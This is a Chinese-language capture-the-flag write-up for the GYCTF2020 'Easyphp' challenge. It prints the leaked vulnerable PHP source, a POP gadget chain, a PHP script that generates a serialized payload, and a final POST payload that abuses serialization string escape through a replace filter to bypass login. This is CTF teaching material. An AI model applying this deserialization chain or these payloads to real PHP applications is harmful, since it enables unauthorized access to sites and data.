[GYCTF2020]Easyphp

2022/4/6 22:19:10

编程Tag： function SQL age info public nickname EasyPHP GYCTF2020

本文主要是介绍[GYCTF2020]Easyphp，对大家解决编程问题具有一定的参考价值，需要的程序猿们随着小编来一起学习吧！

进入环境，根据题目猜测有源码泄露

试了下www.zip，直接下载下来了

<?php
error_reporting(0);
session_start();
function safe($parm){
    $array= array('union','regexp','load','into','flag','file','insert',"'",'\\',"*","alter");
    return str_replace($array,'hacker',$parm);
}
class User
{
    public $id;
    public $age=null;
    public $nickname=null;
    public function login() {
        if(isset($_POST['username'])&&isset($_POST['password'])){
        $mysqli=new dbCtrl();
        $this->id=$mysqli->login('select id,password from user where username=?');
        if($this->id){
        $_SESSION['id']=$this->id;
        $_SESSION['login']=1;
        echo "你的ID是".$_SESSION['id'];
        echo "你好！".$_SESSION['token'];
        echo "<script>window.location.href='./update.php'</script>";
        return $this->id;
        }
    }
}
    public function update(){
        $Info=unserialize($this->getNewinfo());
        $age=$Info->age;
        $nickname=$Info->nickname;
        $updateAction=new UpdateHelper($_SESSION['id'],$Info,"update user SET age=$age,nickname=$nickname where id=".$_SESSION['id']);
        //这个功能还没有写完 先占坑
    }
    public function getNewInfo(){
        $age=$_POST['age'];
        $nickname=$_POST['nickname'];
        return safe(serialize(new Info($age,$nickname)));
    }
    public function __destruct(){
        return file_get_contents($this->nickname);//危
    }
    public function __toString()
    {
        $this->nickname->update($this->age);
        return "0-0";
    }
}
class Info{
    public $age;
    public $nickname;
    public $CtrlCase;
    public function __construct($age,$nickname){
        $this->age=$age;
        $this->nickname=$nickname;
    }
    public function __call($name,$argument){
        echo $this->CtrlCase->login($argument[0]);
    }
}
Class UpdateHelper{
    public $id;
    public $newinfo;
    public $sql;
    public function __construct($newInfo,$sql){
        $newInfo=unserialize($newInfo);
        $upDate=new dbCtrl();
    }
    public function __destruct()
    {
        echo $this->sql;
    }
}
class dbCtrl
{
    public $hostname="127.0.0.1";
    public $dbuser="root";
    public $dbpass="root";
    public $database="test";
    public $name;
    public $password;
    public $mysqli;
    public $token;
    public function __construct()
    {
        $this->name=$_POST['username'];
        $this->password=$_POST['password'];
        $this->token=$_SESSION['token'];
    }
    public function login($sql)
    {
        $this->mysqli=new mysqli($this->hostname, $this->dbuser, $this->dbpass, $this->database);
        if ($this->mysqli->connect_error) {
            die("连接失败，错误:" . $this->mysqli->connect_error);
        }
        $result=$this->mysqli->prepare($sql);
        $result->bind_param('s', $this->name);
        $result->execute();
        $result->bind_result($idResult, $passwordResult);
        $result->fetch();
        $result->close();
        if ($this->token=='admin') {
            return $idResult;
        }
        if (!$idResult) {
            echo('用户不存在!');
            return false;
        }
        if (md5($this->password)!==$passwordResult) {
            echo('密码错误！');
            return false;
        }
        $_SESSION['token']=$this->name;
        return $idResult;
    }
    public function update($sql)
    {
        //还没来得及写
    }
}

 

发现获取flag的条件在update.php中

<?php
require_once('lib.php');
echo '<html>
<meta charset="utf-8">
<title>update</title>
<h2>这是一个未完成的页面，上线时建议删除本页面</h2>
</html>';
if ($_SESSION['login']!=1){
    echo "你还没有登陆呢！";
}
$users=new User();
$users->update();
if($_SESSION['login']===1){
    require_once("flag.php");
    echo $flag;
}

?>

接下来看到lib.php的dbCtrl类

class dbCtrl
{ 
 
  
    public $hostname="127.0.0.1";
    public $dbuser="root";
    public $dbpass="root";
    public $database="test";
    public $name;
    public $password;
    public $mysqli;
    public $token;
    public function __construct()
    { 
 
  
        $this->name=$_POST['username'];
        $this->password=$_POST['password'];
        $this->token=$_SESSION['token'];
    }
    public function login($sql)
    { 
 
  
        $this->mysqli=new mysqli($this->hostname, $this->dbuser, $this->dbpass, $this->database);
        if ($this->mysqli->connect_error) { 
 
  
            die("链接失败，错误:" . $this->mysqli->connect_error);
        }
        $result=$this->mysqli->prepare($sql);
        $result->bind_param('s', $this->name);
        $result->execute();
        $result->bind_result($idResult, $passwordResult);
        $result->fetch();
        $result->close();
        if ($this->token=='admin') { 
 
  
            return $idResult;
        }
        if (!$idResult) { 
 
  
            echo('用户不存在!');
            return false;
        }
        if (md5($this->password)!==$passwordResult) { 
 
  
            echo('密码错误！');
            return false;
        }
        $_SESSION['token']=$this->name;
        return $idResult;
    }
    public function update($sql)
    { 
 
  
        //还没来得及写
    }
}

可以从中得到

  1. admin用户存在，当$this->password的md5值与数据库查询的密码相同便可登陆成功
  2. token值为admin也可

可以在lib.php里找到sql的查询语句

 

 当这里的语句为select "1","c4ca4238a0b923820dcc509a6f75849b" from user where username=?时，即可绕过

接下来就是构造pop链来执行这个sql语句

pop链

UpdateHelper::__desturce(sql = new User()) => User::__toString(nickname = new Info()) => Info::__call(CtrlCase = new dbCtrl()) => login()

payload：

<?php
class User
{ 
 
  
    public $age = null;
    public $nickname = null;
    public function __construct()
    { 
 
  
        $this->age = 'select 1,"c4ca4238a0b923820dcc509a6f75849b" from user where username=?';
        $this->nickname = new Info();
    }
}
class Info
{ 
 
  
    public $CtrlCase;
    public function __construct()
    { 
 
  
        $this->CtrlCase = new dbCtrl();
    }
}
class UpdateHelper
{ 
 
  
    public $sql;
    public function __construct()
    { 
 
  
        $this->sql = new User();
    }
}
class dbCtrl
{ 
 
  
    public $name = "admin";
    public $password = "1";
}
$o = new UpdateHelper;
echo serialize($o);
O:12:"UpdateHelper":1:{s:3:"sql";O:4:"User":2:{s:3:"age";s:70:"select 1,"c4ca4238a0b923820dcc509a6f75849b" from user where username=?";s:8:"nickname";O:4:"Info":1:{s:8:"CtrlCase";O:6:"dbCtrl":2:{s:4:"name";s:5:"admin";s:8:"password";s:1:"1";}}}}

接下来就是将其反序列化

 

 这里就有个利用点

接下来看看getnewinfo

    public function getNewInfo(){
        $age=$_POST['age'];
        $nickname=$_POST['nickname'];
        return safe(serialize(new Info($age,$nickname)));
    }

但这个函数的返回值会先序列化再通过safe函数

function safe($parm){
    $array= array('union','regexp','load','into','flag','file','insert',"'",'\\',"*","alter");
    return str_replace($array,'hacker',$parm);
}

因此最终可以反序列化的不是直接传入的字符串，而是用传入的值实例化一个Info类的对象，而后对这个对象进行序列化，再对这个序列化结果进行safe() 处理，最后获得的值再进行反序列化。

若是将刚才获得的payload直接用age或nickname参数传入的化，其实际上只会被当成Info类里的一个很长的字符串，并不能被反序列化获得执行。

所以要想反序列化咱们的payload，就得控制Info类对象的序列化串

生成一个正常的info类对象

<?php
class Info{
    public $age='1';
    public $nickname='ccc';
    public $CtrlCase;
}
echo serialize(new Info());
O:4:"Info":3:{s:3:"age";s:1:"1";s:8:"nickname";s:3:"ccc";s:8:"CtrlCase";N;}

这里我们能够控制的属性是age和nickname

通过nickname参数来注入

所以需要逃逸的字符串为

";s:8:"CtrlCase";O:12:"UpdateHelper":1:{s:3:"sql";O:4:"User":2:{s:3:"age";s:70:"select 1,"c4ca4238a0b923820dcc509a6f75849b" from user where username=?";s:8:"nickname";O:4:"Info":1:{s:8:"CtrlCase";O:6:"dbCtrl":2:{s:4:"name";s:5:"admin";s:8:"password";s:1:"1";}}}}}

这里有443个字符

构造下payload

age=1&nickname=*********************************************************************************************union";s:8:"CtrlCase";O:12:"UpdateHelper":3:{s:2:"id";N;s:7:"newinfo";N;s:3:"sql";O:4:"User":3:{s:2:"id";N;s:3:"age";s:72:"select id, "c4ca4238a0b923820dcc509a6f75849b" from user where username=?";s:8:"nickname";O:4:"Info":3:{s:3:"age";N;s:8:"nickname";N;s:8:"CtrlCase";O:6:"dbCtrl":8:{s:8:"hostname";s:9:"127.0.0.1";s:6:"dbuser";s:4:"root";s:6:"dbpass";s:4:"root";s:8:"database";s:4:"test";s:4:"name";s:5:"admin";s:8:"password";s:1:"1";s:6:"mysqli";N;s:5:"token";N;}}}}}

即可绕过



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